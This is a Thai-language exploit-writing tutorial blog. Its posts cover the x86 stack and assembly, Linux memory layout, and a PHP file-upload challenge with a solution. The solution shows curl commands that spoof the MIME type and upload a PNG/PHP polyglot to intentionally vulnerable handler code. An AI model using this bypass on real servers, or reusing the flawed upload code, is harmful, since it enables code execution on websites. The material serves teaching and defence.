จริงๆ แล้ว compiler เกือบทุกตัว มี option ให้ใช้แต่ ESP แล้วเก็บ EBP ไว้ใช้เหมือน register ตัวอื่นๆ เช่นใน gcc จะใช้ -fomit-frame-pointer ส่วนเหตุผลว่า บางครั้งทำไมต้องใช้แบบนี้ ไม่ขอกล่าวในนี้ เดี๋ยวจะยาวเกิน

ก่อนจะจบ ผมขอยกตัวอย่าง ที่มาจากการ compile จริงๆ และจะได้ฝึก Assembly ไปด้วย โดยมีโปรแกรมที่เขียนด้วยภาษา C ดังนี้ (ex_04_1.c)


int fn_second(int n1, int n2, char *s)
{
  char bb[16];
  return 1;
}

void fn_first(int num)
{
  int i;
  char buf[8];
  fn_second(i, num, buf);
}

int main()
{
  fn_first(5);
  return 0;
}

แล้ว compile ด้วย gcc ตามนี้ (ครั้งนี้ ผม compile ให้ใช้วิธี push argument แล้ว call function เพื่อให้เข้าใจง่าย แต่ในหัวข้อถัดไป ผมจะให้ดูอีกรูปแบบหนึ่ง)


$ gcc -march=i586 -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o call_stack call_stack.c

เมื่อผมทำการ disassembly ออกมาจะได้ (ผมเอามาแสดงแค่ 3 function ที่มีใน C code นะครับ และเป็น address จริงๆ ในเครื่องของผม)


<fn_second>:
   # function prologue โดยจองเนื้อที่ขนาด 16 bytes สำหรับ local variable
   0x08048394 <+0>:   push   %ebp
   0x08048395 <+1>:   mov    %esp,%ebp
   0x08048397 <+3>:   sub    $0x10,%esp
   0x0804839a <+6>:   mov    $0x1,%eax    # set ค่า 1 ที่จะ return ใน EAX
   # function epilogue
   0x0804839f <+11>:  leave
   0x080483a0 <+12>:  ret
<fn_first>:
   # function prologue โดยจองเนื้อที่ขนาด 12 bytes สำหรับ local variable
   0x080483a1 <+0>:   push   %ebp
   0x080483a2 <+1>:   mov    %esp,%ebp
   0x080483a4 <+3>:   sub    $0xc,%esp
   0x080483a7 <+6>:   lea    -0xc(%ebp),%eax # load address ของ buf ไว้ที่ EAX
   0x080483aa <+9>:   push   %eax        # push address ของ buf (argument ตัวที่ 3)
   0x080483ab <+10>:  pushl  0x8(%ebp)   # push ค่า num (argument ตัวที่ 2)
   0x080483ae <+13>:  pushl  -0x4(%ebp)  # push ค่า i (argument ตัวที่ 1)
   0x080483b1 <+16>:  call   0x8048394 <fn_second>
   0x080483b6 <+21>:  add    $0xc,%esp  # clear arguments ที่ส่งผ่านใน stack
   # function epilogue
   0x080483b9 <+24>:  leave
   0x080483ba <+25>:  ret
<main>:
   # function prologue มี 2 คำสั่งเพราะ ไม่มี local variables
   0x080483bb <+0>:   push   %ebp
   0x080483bc <+1>:   mov    %esp,%ebp
   0x080483be <+3>:   push   $0x5       # push argument ตัวที่ 1
   0x080483c0 <+5>:   call   0x80483a1 <fn_first>
   0x080483c5 <+10>:  add    $0x4,%esp  # clear arguments ที่ส่งผ่านใน stack
   0x080483c8 <+13>:  mov    $0x0,%eax  # set ค่า 0 ที่จะ return ใน EAX
   # function epilogue
   0x080483cd <+18>:  leave
   0x080483ce <+19>:  ret

ถ้าใครอ่าน Assembly code แล้วไม่เห็นภาพ ผมก็มีรูปให้ดู (หวังว่าคนที่ยังไม่เข้าใจ ดูแล้วจะเข้าใจ) โดยผมจะเริ่มคำสั่งจากใน main ที่ address 0x080483be และจบที่ address 0x080483c5 โดย EBP และ ESP ชี้ไปที่ address 0xbffff728 อยู่ (address จริงในเครื่องผม) และเนื่องด้วยถ้าทำเป็น step ทั้งหมดรูปจะใหญ่มาก ผมขอไม่เข้าไปใน "call fn_second" และคำสั่งที่ address 0x080483c5 ผมไม่แสดง โดยผลลัพธ์จะเหมือนขั้นตอนแรก

ถ้าใครไม่เคยรู้เรื่องนี้มาก่อน ให้ค่อยๆ ไล่นะครับ ใช้เวลานานหน่อย ไม่ต้องรีบร้อน เรื่องนี้สำคัญมากๆ

สุดท้าย ให้ลองกลับไปดูในหัวข้อ "Buffer Overflow คืออะไร" แล้วคิดดูว่า เกิดอะไรขึ้นใน stack ในแต่ละ input ที่เราลองกัน แล้วผมจะอธิบายในหัวข้อถัดไป พร้อมกับการใช้ gdb เบื้องต้น

สารบัญ การเขียน exploit บน Linux

2010-12-19T23:14:00.010+07:00

ตอนนี้ ผมได้สร้าง page ขึ้นมาเฉพาะแล้วนะครับ ขอเปลี่ยนให้ไปใช้ Pages ที่เมนูด้านขวามือ

Assembly พื้นฐาน

2010-12-16T21:46:00.003+07:00

ในหัวข้อนี้ ผมจะพูดถึง Assembly ของ x86 โดยเอาเฉพาะที่จำเป็นสำหรับการเขียน exploit จะพยายามไม่ให้ยาวมากนะครับ

CPU Registers

ใน CPU จะมี registers ต่างๆ ขนาด 32 bits ที่ใช้เก็บข้อมูล สำหรับ ALU (Arithmetic Logic Unit) นำมาประมวลผล โดยมี register ที่สำคัญ มีดังนี้

EIP (Extended Instruction Pointer) ใช้สำหรับเก็บ address ของคำสั่งถัดไปที่จะถูกประมวลผล
EBP (Extended Base Pointer) ใช้สำหรับเก็บ address ล่างสุดของ frame ที่ทำงานอยู่ใน stack
ESP (Extended Stack Pointer) ใช้สำหรับเก็บ address บนสุดของ stack
EAX (Extended Accumulator Register), EBX (Extended Base Register), ECX (Extended Counter Register), EDX (Extended Data Register) ทั้ง 4 ตัวนี้ใช้สำหรับเก็บข้อมูลทั่วไป (General Purpose Registers)
ESI (Extended Source Index), EDI (Extended Destination Index) ใช้สำหรับคำสั่งที่ต้องการ indexing เช่น array, copy string แต่ในบางครั้ง ก็ถูกใช้เหมือนกับ register 4 ตัวข้างบน คือเก็บข้อมูลทั่วไป

General Purpose Registers (EAX, EBX, ECX, EDX) สามารถ access แบบ 16 bits และ 8 bits โดยแบ่งตามรูปข้างล่าง

ส่วน register ตัวอื่นๆ สามารถ access แบบ 16 bits ตามนี้ IP, BP, SP, SI, DI

Flags

Flags ใช้สำหรับบอกสถานะของผลลัพธ์ของคำสั่ง บางคำสั่งจะไม่มีการเปลี่ยนค่า Flags บางคำสั่งจะมีการเปลี่ยนบาง Flags โดยใน CPU นั้นมี Flags อยู่หลายตัว แต่ในที่นี้ ผมจะพูดเฉพาะ ZF (Zero Flag), SF (Sign Flag)

ZF เป็น flag ที่ถูก set เมื่อผลลัพธ์ของ operation เป็น 0
SF เป็น flag ที่ถูก set เมื่อผลลัพธ์ของ operation เป็นลบ

Assembly Language

คราวนี้ก็มาถึงตัว assembly เองแล้ว โดยตัว syntax เองก็จะมีหลักๆ อยู่ 2 แบบที่ใช้กัน คือ AT&T กับ Intel โดย
- ตัว AT&T syntax จะถูกใช้ใน GNU Assembler และส่วนมากจะเป็น default สำหรับ Linux
- ตัว Intel Syntax ก็จะเป็น Netwide Assembler (NASM) และ Windows assemblers ส่วนมากจะใช้ NASM

ทั้งสอง syntax ที่กล่าวนี้ จะมี syntax ที่ต่างกันบ้าง แต่เมื่อถูกเปลี่ยนเป็น machine code แล้ว ผลลัพธ์ที่ได้ก็จะเหมือนกัน โดยความแตกต่างหลักๆ ที่ต้องรู้

คำสั่งที่ต้องการ source กับ destination จะสลับกัน โดย AT&T จะใช้ source ข้างหน้า แต่ NASM จะใช้ destination ข้างหน้า คือ
- AT&T: CMD <source>, <dest> <# comment>
- NASM: CMD <dest>, <source> <; comment>
AT&T ใช้ % ข้างหน้า registers แต่ NASM ไม่ใช้
AT&T ใช้ $ ข้างหน้า immediate value แต่ NASM ไม่ใช้
AT&T จะมี suffix (ตัวต่อท้ายคำสั่ง) เพื่อระบุขนาดของ operand โดยใช้ l สำหรับ long (4 byte), w สำหรับ word (2 byte), b สำหรับ byte (สำหรับ GNU Assembler เราสามารถไม่ใส่ suffix ถ้าคำสั่งนั้นมี operand ที่ระบุขนาด) แต่ NASM จะมีเมื่อใช้กับการอ้างอิงที่อยู่ เช่น dword ptr, byte ptr
เรื่องการอ้างที่อยู่ memory โดย AT&T ใช้ () ส่วน NASM ใช้ [] และตำแหน่งของ index ก็จะต่างกัน จะพูดถึงอีกทีในเรื่องของ assembly command

เนื่องจากเรากำลังเขียน exploit บน Linux ผมจะพูดถึง AT&T syntax เป็นหลัก

Assembly Commands

ในที่นี้ ผมจะพูดเฉพาะคำสั่งที่ผมคิดว่าสำคัญมากๆ ถ้าใครต้องการรู้เพิ่มเติม คงต้องหาอ่านเพิ่มเอาเองนะครับ

mov
คือการ copy (คัดลอก) ข้อมูลจาก source ไปยัง destination เช่น


movl $1234h, %eax
mov  %eax, %ebx   # GNU assembler สามารถเดาได้ว่าเป็น movl เพราะ ebx มีขนาด 4 bytes
movw %ax, %bx
movb %al, %bl

คำสั่งแรกคือ กำหนดค่าของ register EAX ให้เป็น 0x1234 (ใน assembly สามารถใช้ได้ทั้้ง 1234h และ 0x1234) ส่วนคำสั่งที่ 2 คือ กำหนดค่าของ EBX ให้เหมือน EAX ถ้าทำงานต่อกัน EBX ก็จะเป็นค่า 0x1234
ส่วนถ้า assembly นี้เขียนเป็น NASM syntax ก็จะเป็น


mov eax, 1234h
mov ebx, eax
mov bx, ax
mov bl, al

add, sub
ใช้สำหรับการบวกและลบ โดยนำค่าของ source ไปบวก/ลบ กับ destination แล้วเก็บผลลัพธ์ไว้ที่ destination เช่น


addl $1234h, %eax  # นำค่าที่อยู่ใน EAX บวก 0x1234 แล้วเก็บใน EAX
subl $1234h, %eax  # นำค่าที่อยู่ใน EAX ลบ 0x1234 แล้วเก็บใน EAX

xor, or, and
เป็น bitwise operation ของการทำ xor, or หรือ and ของ source กับ destination แล้วเก็บผลลัพธ์ไว้ที่ destination เช่น


xorl %eax, %eax  # xor ค่าของ EAX กับ EAX เป็นเทคนิคหนึ่ง ที่ทำให้ EAX เป็น 0
orl %ebx, %eax
andl %ebx, $ffh

push, pop
ใช้สำหรับ push กับ pop ค่าบน stack (ตำแหน่งบนสุดของ stack ดูได้จากค่า register ESP) เช่น


pushl $10h  # push ค่า 0x10 ลงใน stack
pushl %eax  # push ค่าของ EAX ลงใน stack
popl %ebx   # pop ค่าจาก stack เก็บใน EBX

cmp
ใช้สำหรับเปรียบเทียบค่า source กับ destination แล้ว set ค่า flag ต่างๆ ตามผลลัพธ์ เพื่อใช้สำหรับคำสั่ง jump ต่างๆ เช่น


cmpl $55, %eax

jne, je, jnz, jz, jmp
ใช้สำหรับ jump (กระโดด) ไปคำสั่งที่ตำแหน่งอื่นๆ โดยจะกระโดดหรือไม่ ขึ้นอยู่กับชนิดของ jump และค่าของ flag ต่างๆ แต่ในที่นี้ ผมจะไม่พูดถึง flag นะครับ เพราะจำยาก แต่ให้ดูที่ความหมายเอา โดยในตัวอย่างข้างล่างสมมติว่ามีการใช้ cmp ตามตัวอย่างข้างบน และค่า eax เป็น 10


jne 5   # Jump if Not Equal คือ 55 ไม่เท่ากับ 10 ดังนั้นก็จะ jump 
je 5    # Jump if Equal คือ 55 ไม่เท่ากับ 10 ดังนั้นจะไม่ jump
jnz 5   # Jump if Not Zero คือถ้า zero flag ไม่ถูก set ซึ่งจะเหมือนกัน jne
jz 5    # Jump if Zero คือถ้า zero flag ถูก set ซึ่งจะเหมือนกัน je
jmp 5   # jump โดยไม่มีเงื่อนไข

การ jump จะมีทั้งแบบ absolute address (คือระบุว่าจะไปที่ address ไหน) และ relative address (คือระบุว่าจะไปข้างหน้าหรือข้างหลังจากตำแหน่งปัจจุบันเท่าไร) โดยตัวอย่างที่ผมเขียนมา เป็นแบบ relative ทั้งหมด

inc, dec
ใช้สำหรับเพิ่มค่า (+1) หรือลดค่า (-1) ใน register เช้น


inc %eax
dec %ebx

lea
ย่อมาจาก load effective address ใช้สำหรับคำนวณค่า address ของ source แล้วเก็บที่ destination คำสั่งนี้หลายๆ คน จะสับสนกับ mov โดย mov ใช้สำหรับ copy ค่าที่อยู่ใน address ของ source สมมติว่าค่าใน EAX เป็น 0xdeadbee0 และค่าที่อยู่ใน address 0xdeadbee4 คือ 8


leal 4(%eax),%ebx  # คำนวณค่า address ของ source ได้ 0xdeadbeee4 แล้วเก็บที่ EBX

แต่ถ้าเป็น mov


movl 4(%eax),%ebx  # เอาค่า address ที่คำนวณได้ แล้วไปดึงค่าที่ address นั้น (คือ 8) แล้วเก็บที่ EBX

int
ใช้สำหรับเรียก interrupt handler ในการเขียน exploit บน linux ตัวที่จะได้ใช้บ่อย คือค่า 0x80 ซึ่งใช้สำหรับเรียก system call เช่น


int $0x80

nop
คือ no operation (ไม่มีการทำงาน) ใช้สำหรับบอกว่าไม่ต้องทำอะไร คล้ายๆ กับบรรทัดที่มี semicolon เฉยๆ ใน C ตัวนี้ผมจะพูดถึงประโยชน์ทีหลัง เมื่อมีการใช้งาน และขอให้จำด้วยว่ามีค่าเป็น 0x90

ในหัวข้อนี้ ที่ผมเขียนมาทั้งหมดเกี่ยวกับ assembly จริงๆ แล้วยังไม่พอที่จะมาใช้จริงๆ แค่ให้พอที่จะถูๆไถๆไปได้ สำหรับเรื่อง assembly ผมแนะนำให้ฝึกมากกว่า ไม่ต้องไปนั่งท่องจำอะไร ได้ใช้สักพักก็จะจำได้เอง ใครที่ยังไม่ค่อยเข้าใจก็อ่านหัวข้อต่อไปก่อนเลยนะครับ มันเป็นเรื่องที่เกี่ยวกัน และจะได้ฝึก assembly ด้วย น่าจะช่วยให้เข้าใจได้มากขึ้น

Reference:
- Gray Hat Hacking
- Using Assembly Language in Linux - http://asm.sourceforge.net/articles/linasm.html
- x86 Instruction Set Reference - http://siyobik.info/index.php?module=x86
- X86 Opcode and Instruction Reference - http://ref.x86asm.net/

Process Memory Layout บน Linux x86

2010-12-13T20:09:00.002+07:00

ในแต่ละ process จะมีการจอง memory ไว้ใช้งาน โดยทุก process จะเห็น memory เป็นโครงสร้างเดียวกันทั้งหมด หรือที่เรียกว่า virtual memory (หน่วยความจำเสมือน) และ memory จะมีการแบ่งส่วนไว้เก็บข้อมูลต่างๆ โดยผมจะพูดถึงส่วนที่สำคัญ ตามรูปข้างล่าง (ถ้าใครไม่รู้ว่า virtual memory ก็คิดซะว่าเป็น memory ไปก่อน แต่ถ้าสนใจ แนะนำให้ไปอ่านหนังสือพวก Operating System)

.text ส่วนนี้ใช้สำหรับเก็บ code ของโปรแกรมที่แปลงเป็น machine code แล้ว โดย default ส่วนนี้จะเป็น read-only (อ่านได้อย่างเดียว) ไม่สามารถเขียนทับได้
.bss ส่วนนี้ตัวแปร global ที่มีการ initialize (ถูกกำหนดค่าไว้ตั้งแต่โปรแกรมเริ่ม) เช่น int a = 0;
.data ส่วนนี้ตัวแปร global ที่ไม่มีการ initialize (ไม่ถูกกำหนดค่าไว้ตั้งแต่โปรแกรมเริ่ม) เช่น int a;
heap เป็นส่วนที่สามารถขยายได้ โดย address จะขยายจาก low address ไปยัง high address เพื่อใช้สำหรับจองและเก็บข้อมูลที่มีขนาดไม่แน่นอน ในขณะที่โปรแกรมทำงานอยู่ โดยคำสั่งที่ใช้ใน C เพื่อควบคุมส่วนนี้คือ malloc() และ free()
stack ใช้สำหรับเก็บข้อมูลของการเรียกฟังก์ชัน (function call) เพื่อให้โปรแกรมสามารถกลับมาทำงานต่อได้ หลังจากโปรแกรมจบฟังก์ชันที่เรียก โดย address ของส่วนนี้จะขยายจาก high address ไปยัง low address
จะเห็นว่าในรูป ผมได้มี argv กับ env ใน stack ด้วย ในขณะนี้โปรแกรมจะเริ่มทำงาน โปรแกรมได้มีการเก็บข้อมูล environment (สามารถดูได้จากคำสั่ง env) และ arguments ของโปรแกรมนั้นลงบน stack ด้วย

Endian

Endian นั้นจะมี big endian กับ little endian โดยจะต่างกันในเรื่องของ byte order เช่นถ้าเราจะเก็บข้อมูล integer ที่มีขนาด 4 bytes (32 bits) ค่า 0x41424344 ใน memory ก็จะเก็บได้ตามรูป

จะเห็นว่า big endian นั้นเก็บข้อมูลเรียงตามปกติที่เราเขียน แต่ little endian นั้นจะเก็บข้อมูลจาก byte ที่มีค่าน้อยที่สุดก่อน
สำหรับ x86 ที่ผมจะพูดถึงในเรื่องการเขียน exploit จะใช้การเก็บข้อมูลเป็นแบบ little endian ถ้าใครไม่เคยอ่านแบบนี้ แรกๆอาจจะงงกันได้ แต่ถ้าได้ทำบ่อยๆ ก็จะคุ้นเคยกับมันไปเอง

Stack

ปกติเราคงคุ้นเคยกับ queue (คิว) คือใครต่อแถวก่อนได้ก่อน หรือคนเรียนคอมพิวเตอร์จะเรียกว่า First In First Out(เข้าก่อนออกก่อน) ย่อๆว่า FIFO ส่วน stack (กองซ้อน) คือวิธีการเก็บข้อมูลแบบนี้ ที่ตรงกับข้ามกับ queue โดยจะเรียกว่า Last In First Out (เข้าทีหลังออกก่อน) ย่อๆ ว่า LIFO โดย stack ที่น่าเคยเห็นกันทุกคนคือ กล่องใส่ซีดีที่มีแกนอยู่ตรงกลาง แผ่นซีดีที่เราใส่เป็นแผ่นสุดท้าย เราต้องเอาออกก่อน ส่วนแผ่นซีดีที่เราใส่เป็นแผ่นแรก จะเป็นแผ่นสุดท้ายที่เราเอาออกมาได้

ในคอมพิวเตอร์จะมี 2 operation (การกระทำ) หลักๆ คือ push กับ pop โดย push คือการใส่ข้อมูลที่บนสุดของ stack ส่วน pop คือการเอาข้อมูลที่อยู่บนสุดของ stack ออกมา ตามรูปข้างล่าง

ในหัวข้อนี้ ผมได้พูดถึง memory layout ของ process บน Linux x86 โดยส่วนที่จะได้พบและใช้บ่อยๆในการเขียน exploit คือส่วนของ stack ที่ผมยังไม่ได้ลงรายละเอียดมากนัก ซึ่งจะมีเพิ่มเติมในหัวข้อถัดๆ ไป

PHP file upload (เฉลย)

2010-12-04T14:03:00.087+07:00

อาทิตย์หนึ่งผ่านไปจาก post เดิมที่ถามไว้ เกี่ยวกับ PHP file upload วันนี้ผมจะมาเฉลย ใครที่อยากทำเองก็อย่าอ่านต่อละกัน

ก่อนที่จะไปดูเฉลย ผมจะให้ดู HTTP request กับ response สำหรับการ upload file ในปัญหานี้ โดยผมได้เปลี่ยนจาก <br /> เป็น "\n" ใน เพื่อให้อ่านง่า่ยขึ้นในนี้


POST /upload.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://192.168.1.100/upload.html
Content-Type: multipart/form-data; boundary=---------------------------194488808416516608941591502886
Content-Length: 390

-----------------------------194488808416516608941591502886
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: image/gif

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
-----------------------------194488808416516608941591502886--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 05:32:41 GMT
Server: Apache
Content-Length: 120
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Upload: arrow.gif
Type: image/gif
Size: 0.166015625 Kb
Temp file: C:\WINDOWS\Temp\php19D.tmp
Stored in: upload/arrow.gif

ข้างบนเป็นข้อมูลที่เอามาจาก Wireshark และตัวอักษร . ในข้อมูลหมายถึง byte ที่ไม่สามารถแสดงผลเป็นตัวอักษรได้

หลังจากเห็น request จาก Firefox ไปแล้ว เรามาเริ่มเลยดีกว่า ปัญหาที่1 นั้นมีการตรวจสอบเพิ่งแค่ว่า $_FILES["file"]["type"] นั้นเป็นชนิดที่เราอนุญาติหรือไม่
ถ้าเราสังเกต request ของ Firefox จะเห็นว่ามีการส่ง "Content-Type: image/gif" ไปด้วย ดังนั้นถ้าเราลองแก้ค่านี้ดู โดยผมจะใช้ curl (ถ้าใครไม่ถนัด command line ก็อาจจะใช้ Tamper Data ที่เป็น add-on ของ Firefox)


$ curl -0 -F "file=@arrow.gif;type=foo/bar" http://192.168.1.100/upload.php
Invalid file
$

โดยจะมี HTTP request และ response เป็น (จาก Wireshark)


POST /upload.php HTTP/1.0
User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
Host: 192.168.1.100
Accept: */*
Content-Length: 354
Content-Type: multipart/form-data; boundary=----------------------------f627444651d8

------------------------------f627444651d8
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: foo/bar

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
------------------------------f627444651d8--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 06:04:21 GMT
Server: Apache
Content-Length: 13
Connection: close
Content-Type: text/html

Invalid file

จะเห็นว่าคราวนี้ เราส่ง Content-Type เป็น foo/bar แล้ว server ตอบกลับเป็น "Invalid file" ทั้งๆ ที่ผม upload ไฟล์ที่เป็น gif แสดงให้เห็นว่าค่า $_FILES["file"]["type"] นั้นเป็นค่าที่ client ส่ง ไม่ได้เป็นค่าที่ ตัว PHP ทำการตรวจสอบชนิดของไฟล์

เมื่อรู้แล้วว่า PHP เอา type มาจากที่ client ส่งไป ผมจะสร้างไฟล์ php ตามนี้


$ cat info.php
<?php phpinfo();

แล้ว upload file ด้วยคำสั่ง


$ curl -0 -F "file=@info.php;type=image/gif" http://192.168.1.100/upload.php
Upload: info.php
Type: image/gif
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1A3.tmp
Stored in: upload/info.php

เย้ ทำได้แล้วปัญหาที่ 1 :)

เรามาต่อปัญหาที่ 2 กันเลยดีกว่า ปัญหานี้ผมกำหนดให้ type ของไฟล์เป็น image/png แต่คราวนี้จะมีอีกปัญหาหนึ่งคือ


    $info = getimagesize($_FILES["file"]["tmp_name"]);
    if ($info == FALSE) {
      echo "Invalid image file";
    }
    else if ($info["mime"] != "image/png") {
      echo "Image is not PNG";
    }

จาก code จะเห็นว่า คราวนี้มีการลองเปิดไฟล์รูปว่าเป็นไฟล์รูปชนิดไหน ดังนั้นถ้าเราทำแบบปัญหาที่ 1 จะได้ผลลัพธ์ดังนี้


$ curl -0 -F "file=@info.php;type=image/png" http://192.168.1.100/upload2.php
Upload: info.php
Type: image/png
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1AF.tmp
Invalid image file.

จากผลคือ php ไม่สามารถเปิดไฟล์รูปได้ เพราะไฟล์ของเราเป็น php code ธรรมดา ดังนั้นสิ่งที่เราต้องทำคือ ให้ php เปิดไฟล์เราแบบไฟล์รูปได้ และ php สามารถรัน php code ได้ แล้วจะทำอย่างไรละ :S

เวลาเราเขียน php ในหลายครั้งเราเขียนผสมกับ html code โดยส่วนไหนจะให้ php ทำงานก็เปิดด้วย <?php และปิดด้วย ?> โดยจริงๆ แล้วส่วนที่ไม่ใช้ php code จะเป็นข้อมูลอะไรก็ได้ จะอ่านออกหรือเปล่า php interpreter ไม่ได้สนใจ

ดังนั้นถ้าเราเอาไฟล์รูป png มารูปหนึ่ง แล้วแก้ข้อมูลข้างในให้มี php code โปรแกรมเปิดรูปก็จะคิดว่าไฟล์นี้เป็นไฟล์รูปภาพชนิด png (แค่รูปที่เปิดอาจจะเสีย) และเมื่อ php interpreter อ่านไฟล์ไว้ก็จะทำงาน code ที่เราใส่ไว้ข้างใน แต่เนื่องด้วย getimagesize() นั้น อ่านแค่ header ว่าเป็นไฟล์อะไร ผมจะทำแค่เพิ่ม php code ต่อท้ายไฟล์รูปภาพ ตามคำสั่ง


$ ls -l ad.png info.php
-rw-r--r-- 1 worawit worawit 643 2010-12-04 14:46 ad.png
-rw-r--r-- 1 worawit worawit  17 2010-12-04 13:40 info.php
$ cat ad.png info.php > mypng.php
$ ls -l mypng.php
-rw-r--r-- 1 worawit worawit 660 2010-12-04 14:47 mypng.php
$ file mypng.php
mypng.php: PNG image, 16 x 11, 8-bit/color RGB, non-interlaced

คำสั่งข้างบน คือผมเอาไฟล์ 2 ไฟล์มาต่อกัน โดยเริ่มจากรูป ad.png จะเห็นว่าขนาดไฟล์ mypng.php เท่ากับ 2 ไฟล์รวมกัน และเมื่อใช้คำสั่ง file ดูไฟล์ที่สร้างใหม่ขึ้นมา ก็ยัง detect เป็น png อยู่ดี

และเมื่อเราเตรียมไฟล์เรียบร้อยแล้ว ก็พร้อมที่จะ upload ขึ้นไปแล้ว


$ curl -0 -F "file=@mypng.php;type=image/png" http://192.168.1.100/upload2.php
Upload: mypng.php
Type: image/png
Size: 0.64453125 Kb
Temp file: C:\WINDOWS\Temp\php1B3.tmp
Stored in: upload/mypng.php

pwned.. สำเร็จแล้ว และถ้าเราลองเปิดไฟล์ php ที่ upload ขึ้นไปด้วย web browser คุณจะผมว่ามีตัวอักษรที่อ่านไม่ออก แล้วตามด้วยผลของ php code

คราวนี้ก็ถึงวิธีป้องกัน เอาแบบสั้นๆ นะครับ (ขี้เกียจเขียน) ก็คือให้ตรวจสอบนามสกุลของไฟล์ (file extension) โดยอาจใช้คำสั่ง pathinfo() เพราะว่าโดย default ตัว web server จะใช้ php interpreter กับไฟล์ที่มี extension เป็น php แต่ถ้ามีการแก้ไขพวกนี้ที่ web server คุณก็ต้องถาม admin ของ server นั้นๆ เอง

PHP file upload (คำถาม)

2010-11-28T20:04:00.004+07:00

ระหว่างคอยเนื้อหาการเขียน exploit ที่ผมต้องใช้เวลาอีกซักพัก ในการเตรียมและทดสอบหลายๆ อย่าง
คราวนี้ผมให้เป็นโจทย์ไปดีกว่า (ผมจะได้ไม่ต้องใช้เวลาเขียนเยอะ :D) แล้วผมคอยมาเฉลย(อธิบาย) ทีหลัง

เรื่องนี้ก็เป็นไปตามชื่อเรื่อง ตอนแรกผมก็คิดเล่นๆ แต่พอลอง search ดู พบว่า code ตัวอย่างใน w3cshools ก็มีช่องโหว่ เลยเอามาให้ทำซะเลย (ให้ setup web server เอาเองนะครับ)

ปัญหาที่ 1 (upload1.php) (copy มาจาก http://w3schools.com/PHP/php_file_upload.asp)


<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
  }
else
  {
  echo "Invalid file";
  }

code ข้างบนมีช่องโหว่อยู่ หาวิธี upload php file ให้ได้ (ใจดีนะเนี่ย ที่บอกว่าให้ทำอะไร จริงๆแล้ว ต้องรู้เองว่าต้องทำอะไร)

โจทย์ข้างบนผมว่าง่ายเกินไป ผมเลยขอแก้ไข code ข้างบน (ให้อ่านง่ายขึ้นด้วย) ยากขึ้นอีกนิดหน่อย

ปัญหาที่ 2 (upload2.php)


<?php
if ($_FILES["file"]["type"] == "image/png") {
  if ($_FILES["file"]["error"] > 0) {
    echo "Return Code: " . $_FILES["file"]["error"];
  }
  else {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    $info = getimagesize($_FILES["file"]["tmp_name"]);
    if ($info == FALSE) {
      echo "Invalid image file";
    }
    else if ($info["mime"] != "image/png") {
      echo "Image is not PNG";
    }
    else if (file_exists("upload/" . $_FILES["file"]["name"])) {
      echo $_FILES["file"]["name"] . " already exists. ";
    }
    else {
      move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
    }
  }
}
else {
  echo "Invalid file";
}

ปัญหาที่ 2 เพิ่มการตรวจสอบอีกนิดหน่อย ผมว่าก็ยังง่ายอยู่นะ

คนรู้อยู่แล้ว หรือทำได้แล้ว ก็ไม่ต้องเขียนเฉลยนะครับ ให้คนอื่นเขาหาทางกันเองก่อน จริงๆ แล้วเดี๋ยวผมไม่มีอะไรให้เขียน :D

Update:ผมได้ publish เฉลยแล้วนะครับ ถ้าไม่อยากคิดก็ กดเลยครับ

Buffer Overflow คืออะไร

2010-11-27T17:44:00.003+07:00

ก่อนเริ่ม ผมขอบอกก่อนว่า ในที่นี้จะกล่าวถึงเฉพาะ Linux ใครที่สนใจ Windows คงต้องคอยอีกนาน (จนกว่าผมจะหมดวิธีเขียน exploit ต่างๆ บน Linux) โดยตัวอย่าง(น่าจะ)ทั้งหมด ผมจะใช้ Ubuntu 10.04 (32 bit) ดังนั้นถ้าใครสนใจ ก็เตรียม VMWare หรือ VirtualBox หรือ ...(แล้วแต่ถนัด) ไว้ได้เลย
ถึงแม้ว่าคุณจะใช้ Ubuntu 10.04 เป็น OS หลักอยู่แล้ว ผมก็แนะนำให้ลงในพวก Virtual Machine เพราะจะต้องมีการใส่ code ที่มีช่องโหว่ (Vulnerable code) และปิด security feature บางอย่างด้วย

